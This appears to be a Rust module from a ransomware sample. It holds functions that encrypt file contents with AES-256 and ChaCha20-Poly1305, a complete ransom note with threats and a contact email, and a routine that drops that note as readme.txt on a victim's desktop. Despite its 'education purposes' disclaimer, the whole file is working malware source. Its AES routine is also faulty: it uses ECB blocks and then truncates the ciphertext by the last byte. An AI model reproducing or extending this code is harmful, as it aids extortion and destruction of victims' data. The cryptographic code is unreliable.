
use aes::Aes256;
use chacha20poly1305::ChaCha20Poly1305;
use chacha20poly1305::aead::{Aead, KeyInit, Payload};
use chacha20poly1305::Key;
use cipher::generic_array::GenericArray;
use cipher::BlockEncrypt;
use std::fs::File;
use std::io::Write;
use std::path::PathBuf;

pub fn encrypt_aes(file_data: &[u8], key: &[u8; 32]) -> Vec<u8> {
    let cipher = Aes256::new(GenericArray::from_slice(key));
    let mut encrypted_data = Vec::new();

    for chunk in file_data.chunks(16) {
        let mut block = [0u8; 16];
        block[..chunk.len()].copy_from_slice(chunk);
        let mut encrypted_block = block;
        cipher.encrypt_block(GenericArray::from_mut_slice(&mut encrypted_block));
        encrypted_data.extend_from_slice(&encrypted_block);
    }

    // Padding !
    if let Some(&padding_size) = encrypted_data.last(){
        let len = encrypted_data.len();
        if padding_size as usize <= len {
            encrypted_data.truncate(len - padding_size as usize);
        }
    }

    encrypted_data
}

pub fn encrypt_chacha(file_data: &[u8], key: &[u8; 32], nonce: &[u8; 12]) -> Vec<u8> {
    let cipher = ChaCha20Poly1305::new(Key::from_slice(key));
    let payload = Payload {
        msg: file_data,
        aad: b"optional_data",
    };
    cipher.encrypt(nonce.into(), payload).expect("Encryption failed")
}

pub const CONTENT: &str = "Your network has been penetrated.

All files on each host have been encrypted with a strong algorithm.
any other methods may damage encrypted data but not recover.

We exclusively have decryption software for your situation
No decryption software is available in the public.

DO NOT RESET OR SHUTDOWN files may be damaged.
DO NOT RENAME OR MOVE the encrypted and readme files.
DO NOT DELETE readme files.

This may lead to the impossibility of recovery of the certain files.

To get info (decrypt your files) contact us at smukx@protonmail.com

Smukx
No system is safe

Lol :) 

Created By Smukx: [Follow Me for more Offensive Nerdy Content]
    X: https://x.com/5mukx

    I Have Created this program for Education Purposes only 

\\- With great power comes great responsibility -/
";


pub fn create_readme_file(desktop_path: &PathBuf){
    // let desktop_path: PathBuf = match dirs::desktop_dir() {
    //     Some(path) => path,
    //     None => {
    //         eprintln!("Unable to find the Desktop directory");
    //         return;
    //     }
    // };

    let readme_path = desktop_path.join("readme.txt");

    match File::create(&readme_path) {
        Ok(mut file) => {
            // let content = "# README\n\nYour Files has been encrypted";
            if let Err(e) = file.write_all(CONTENT.as_bytes()){
                eprintln!("Failed to Write Readme File, {}",e);
            }else{
                println!("Readme file created on desktop");
            }
        }
        Err(e) => eprintln!("Failed to create README.md: {}", e),
    }
}

